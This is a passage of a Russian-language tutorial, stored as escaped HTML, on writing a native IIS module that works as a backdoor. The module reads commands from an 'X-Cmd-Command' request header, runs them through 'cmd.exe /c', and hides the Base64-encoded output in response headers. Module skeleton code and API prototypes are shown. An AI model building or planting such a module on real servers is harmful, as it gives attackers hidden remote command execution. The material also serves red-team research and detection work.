\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0438 \u043a \u0444\u0430\u0431\u0440\u0438\u043a\u0435, \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0443\u0436\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b.<\/p>\n<p><strong>\u0412\u0441\u044f \u043b\u043e\u0433\u0438\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u0435\u0434\u0435\u043b\u044c\u043d\u043e \u044f\u0441\u043d\u0430:<\/strong><\/p>\n<ol>\n<li>\n<p>\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u044c \u0432 IIS.<\/p>\n<\/li>\n<li>\n<p>IIS \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 <code>RegisterModule()<\/code>.<\/p>\n<\/li>\n<li>\n<p>\u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u043d\u0443\u0436\u043d\u044b\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u043e\u0442\u0434\u0430\u0451\u043c \u0447\u0435\u0440\u0435\u0437 <code>pModuleInfo->SetRequestNotifications()<\/code> \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043d\u0430\u0448\u0435\u0439 \u0444\u0430\u0431\u0440\u0438\u043a\u0438.<\/p>\n<\/li>\n<li>\n<p>IIS \u043f\u0440\u0438 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u043a \u043c\u0435\u0442\u043e\u0434\u0443 <code>GetHttpModule()<\/code> \u043d\u0430\u0448\u0435\u0439 \u0444\u0430\u0431\u0440\u0438\u043a\u0438.<\/p>\n<\/li>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u0441\u0442\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u0438\u043d\u0441\u0442\u0430\u043d\u0441 \u043a\u043b\u0430\u0441\u0441\u0430 <code>CChildHttpModule()<\/code>.<\/p>\n<\/li>\n<li>\n<p>\u0412\u044b\u0437\u043e\u0432\u0435\u0442\u0441\u044f \u043d\u0443\u0436\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u043e\u0431\u044b\u0442\u0438\u044e, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u0430 \u043a\u043b\u0430\u0441\u0441\u0430. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043b\u0438\u0441\u044c \u043d\u0430 <code>RQ_SEND_RESPONSE<\/code>, \u0442\u043e \u0432\u044b\u0437\u043e\u0432\u0435\u0442\u0441\u044f <code>OnSendResponse()<\/code>.<\/p>\n<\/li>\n<li>\n<p>\u0412\u043d\u0443\u0442\u0440\u0438 \u043c\u0435\u0442\u043e\u0434\u0430 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u043e\u0442\u0432\u0435\u0442 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c \u0438\u0437 \u043c\u0435\u0442\u043e\u0434\u0430 <code>RQ_NOTIFICATION_CONTINUE<\/code>. \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0431 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435.<\/p>\n<\/li>\n<li>\n<p>IIS \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 <code>Terminate()<\/code>.<\/p>\n<\/li>\n<\/ol>\n<h2>\u0417\u0430\u0447\u0435\u043c \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442, \u0435\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u0440\u043e\u0441?<\/h2>\n<p>\u041b\u043e\u0433\u0438\u0447\u043d\u0435\u0435 \u0431\u044b\u043b\u043e \u0431\u044b \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 <code>RQ_BEGIN_REQUEST<\/code> \u0441 \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u043c\u0435\u0442\u043e\u0434\u0430 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/chttpmodule-onbeginrequest-method\">OnBeginRequest()<\/a>. \u041d\u043e \u043a\u0430\u043a \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434? \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043c\u043e\u0436\u043d\u043e \u0447\u0442\u043e-\u0442\u043e \u0442\u0430\u043c \u043d\u0430\u043a\u043e\u0434\u0438\u0442\u044c \u043d\u0430 \u0441\u043e\u043a\u0435\u0442\u0430\u0445 \u0438\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u043b\u0435\u043f\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434, \u043d\u043e \u044d\u0442\u043e \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u043e. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b <code>RQ_SEND_RESPONSE<\/code>. \u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/chttpmodule-onsendresponse-method\">OnSendResponse()<\/a> \u0447\u0435\u0440\u0435\u0437 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 <code>pHttpContext<\/code> \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpcontext-interface\">IHttpContext<\/a> \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u0430\u043a \u043a \u0437\u0430\u043f\u0440\u043e\u0441\u0443, \u0442\u0430\u043a \u0438 \u043a \u043e\u0442\u0432\u0435\u0442\u0443.<\/p>\n<p>\u041b\u043e\u0433\u0438\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0448\u0435\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0435\u0434\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u0430: \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u043f\u0430\u0440\u0441\u0438\u043d\u0433 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0436\u0435\u043b\u0430\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0432\u044b\u0432\u043e\u0434 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043a \u043e\u0442\u0432\u0435\u0442\u0443 IIS-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u2014 \u0443\u0441\u043f\u0435\u0445!<\/p>\n<h2>\u041d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043a\u043e\u0434\u0438\u0442\u044c<\/h2>\n<p>\u0418\u0442\u0430\u043a, \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u043f\u0443\u0441\u0442\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 \u0434\u043b\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u043e\u0432\u043a\u0438 \u0432 Visual Studio. \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u044e DllMain \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c, \u043e\u043d\u0430 \u043d\u0430\u043c \u043d\u0435 \u043d\u0443\u0436\u043d\u0430. \u0420\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c <code>RegisterModule()<\/code>.<\/p>\n<pre><code class=\"coffeescript\">#include \"pch.h\" #include &lt;Windows.h> #include &lt;httpserv.h> #include \"classes.h\"  CHttpModuleFactory* pFactory = NULL;  __declspec(dllexport) HRESULT __stdcall RegisterModule( DWORD dwSrvVersion, IHttpModuleRegistrationInfo* pModuleInfo, IHttpServer* pHttpServer) { pFactory = new CHttpModuleFactory(); HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0); return hr; }<\/code><\/pre>\n<p>\u0412 \u044d\u0442\u043e\u043c \u043a\u043e\u0434\u0435 \u043c\u044b \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u0438\u0437 DLL. \u0414\u0430\u043b\u0435\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0451 \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043d\u043e\u0432\u043e\u0439 \u0444\u0430\u0431\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f IIS \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 <code>CChildHttpModule<\/code>.<\/p>\n<p>\u0412 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u0447\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 <code>classes.h<\/code> \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u044b \u043a\u043b\u0430\u0441\u0441\u043e\u0432 <code>CHttpModuleFactory<\/code> \u0438 <code>CChildHttpModule<\/code>.<\/p>\n<pre><code class=\"cpp\">#pragma once #include &lt;Windows.h> #include &lt;httpserv.h>  class CChildHttpModule : public CHttpModule { public:     REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss); };   class CHttpModuleFactory : public IHttpModuleFactory { public:     HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);      void Terminate(); };<\/code><\/pre>\n<p>\u0412 \u0444\u0430\u0439\u043b\u0435 <code>classes.cpp<\/code> \u043f\u0438\u0448\u0435\u043c \u043b\u043e\u0433\u0438\u043a\u0443 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u044d\u0442\u0438\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432.<\/p>\n<pre><code class=\"cpp\">#include \"classes.h\"  REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss) {     ... }  HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc) {     CChildHttpModule* pModule = new CChildHttpModule();     *ppModule = pModule;     pModule = NULL;     return S_OK; }  void CHttpModuleFactory::Terminate() {     if (this != NULL)     {     delete this;     } }<\/code><\/pre>\n<p>\u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438 \u0432\u0438\u0434\u0435\u0442\u044c \u0432\u044b\u0432\u043e\u0434. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u0448\u0430\u0435\u043c, \u043a\u0430\u043a \u0431\u0443\u0434\u0435\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>OnSendResponse()<\/code>.<\/p>\n<h2>\u041c\u0435\u0442\u043e\u0434\u044b IHttp*-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430<\/h2>\n<p>\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e POC \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u043e\u0442\u0441\u044b\u043b\u0430\u0442\u044c HTTP-\u043f\u0430\u043a\u0435\u0442 \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c <code>X-Cmd-Command: &lt;command><\/code>. \u0422\u0430\u043a \u043a\u0430\u043a \u043d\u0430\u0448 IIS Module \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 <code>RQ_SEND_RESPONSE<\/code>, \u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438 IIS \u0432\u044b\u0437\u043e\u0432\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>OnSendResponse()<\/code>. \u041f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u0443 \u043d\u0435\u0451 \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439:<\/p>\n<pre><code class=\"cpp\">virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(      IN IHttpContext* pHttpContext,      IN ISendResponseProvider* pProvider   );<\/code><\/pre>\n<p>\u0417\u0434\u0435\u0441\u044c \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c <code>pHttpContext<\/code>. \u0422\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e\u0442 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpcontext-interface\">IHttpContext<\/a>, \u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 \u0432 \u044d\u0442\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435.<\/p>\n<p>\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 IIS \u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u043e\u0442\u0432\u0435\u0442. \u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u043e\u0434\u043e\u0432 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpcontext-getrequest-method\">pHttpContext->GetRequest()<\/a> \u0438 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpcontext-getresponse-method\">pHttpContext->GetResponse()<\/a>.<\/p>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0434\u0432\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttprequest-interface\">IHttpRequest <\/a>\u0438 <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/iis\/web-development-reference\/native-code-api-reference\/ihttpresponse-interface\">IHttpResponse<\/a>.<\/p>\n<p>\u0418\u0437\u0432\u043b\u0435\u0447\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttprequest-getheader-method\">GetHeader()<\/a>.<\/p>\n<pre><code class=\"cpp\">virtual PCSTR GetHeader(      IN PCSTR pszHeaderName,      OUT USHORT* pcchHeaderValue = NULL   ) const = 0;     virtual PCSTR GetHeader(      IN HTTP_HEADER_ID ulHeaderIndex,      OUT USHORT* pcchHeaderValue = NULL   ) const = 0;<\/code><\/pre>\n<p>\u041e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043e\u0442\u0434\u0430\u0442\u044c \u0432 <code>cmd.exe \/c &lt;command><\/code>, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a \u043e\u0442\u0432\u0435\u0442\u0443 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0421 \u043f\u0435\u0440\u0432\u044b\u043c\u0438 \u0434\u0432\u0443\u043c\u044f \u0448\u0430\u0433\u0430\u043c\u0438 \u0432\u0441\u0451 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, <code>GetHeader()<\/code>, <code>CreateProcess()<\/code> \u0441 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0432\u044b\u0432\u043e\u0434\u0430 \u0432 \u043f\u0430\u0439\u043f, \u043d\u043e \u043a\u0430\u043a \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434?<\/p>\n<p>\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043c\u0435\u0442\u043e\u0434 <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/iis\/web-development-reference\/native-code-api-reference\/ihttpresponse-setheader-method\">SetHeader().<\/a><\/p>\n<pre><code class=\"cpp\">virtual HRESULT SetHeader(      IN PCSTR pszHeaderName,      IN PCSTR pszHeaderValue,      IN USHORT cchHeaderValue,      IN BOOL fReplace   ) = 0;     virtual HRESULT SetHeader(      IN HTTP_HEADER_ID ulHeaderIndex,      IN PCSTR pszHeaderValue,      IN USHORT cchHeaderValue,      IN BOOL fReplace   ) = 0;<\/code><\/pre>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0443 <code>IHttpRequest<\/code>, \u043d\u043e \u043c\u044b \u0435\u0433\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c \u043f\u043e \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044e \u043a \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 <code>IHttpResponse<\/code> (\u0432\u0435\u0434\u044c \u043c\u044b \u0436\u0435 \u0445\u043e\u0442\u0438\u043c \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043e\u0442\u0432\u0435\u0442, \u0442\u0430\u043a \u0432\u0435\u0434\u044c? \ud83d\ude42 ).<\/p>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 Base64.<\/p>\n<h2>\u041a\u0430\u043a \u0434\u0435\u0431\u0430\u0436\u0438\u0442\u044c \u044d\u0442\u043e \u0447\u0443\u0434\u043e<\/h2>\n<p>\u0420\u0430\u043d\u0435\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0443\u0436\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043b \u043e \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>OutputDebugString()<\/code>. \u0415\u0451 \u044f \u0431\u0443\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>OnSendResponse()<\/code>. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 Native IIS Module \u044d\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0431\u043e\u043b\u0435\u0435-\u043c\u0435\u043d\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 (\u0438\u0437 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043c\u043d\u0435) \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u0438 \u043e\u0442\u043b\u043e\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u043f\u0440\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435. <code>OutputDebugString()<\/code> \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u043e\u0442 \u0447\u0442\u043e:<\/p>\n<ul>\n<li>\n<p>\u0435\u0441\u043b\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u043b\u0430\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u0442\u043e \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u044f\u043c\u0438\u043a\u043e\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a<\/p>\n<\/li>\n<li>\n<p>\u0438\u043d\u0430\u0447\u0435 \u2014 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>OpenEvent()<\/code> \u0438 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0445\u0435\u043d\u0434\u043b \u043d\u0430 \u0434\u0432\u0430 \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f. \u041e\u0434\u043d\u043e \u0441 \u0438\u043c\u0435\u043d\u0435\u043c <code>DBWIN_BUFFER_READY<\/code>, \u0434\u0440\u0443\u0433\u043e\u0435 \u2014 <code>DBWIN_DATA_READY<\/code>. \u0415\u0441\u043b\u0438 \u043e\u0434\u043d\u043e \u0438\u0437 \u043d\u0438\u0445 \u0438\u043b\u0438 \u043e\u0431\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u044b, \u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0430, \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u0430\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0447\u0438\u0449\u0430\u0435\u0442\u0441\u044f<\/p>\n<\/li>\n<li>\n<p>\u0435\u0441\u043b\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442, \u0442\u043e \u0438\u0434\u0451\u0442 \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0443\u0442\u0451\u043c \u0432\u044b\u0437\u043e\u0432\u0430 <code>OpenFileMapping()<\/code> \u0441 \u0438\u043c\u0435\u043d\u0435\u043c <code>DBWIN_BUFFER<\/code>. \u0415\u0441\u043b\u0438 \u044d\u0442\u043e\u0442 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d, \u0442\u043e \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0447\u0438\u0449\u0430\u0435\u0442\u0441\u044f<\/p>\n<\/li>\n<li>\n<p>\u043d\u0430\u043a\u043e\u043d\u0435\u0446, \u0435\u0441\u043b\u0438 \u0432\u0441\u0435 \u0442\u0440\u0438 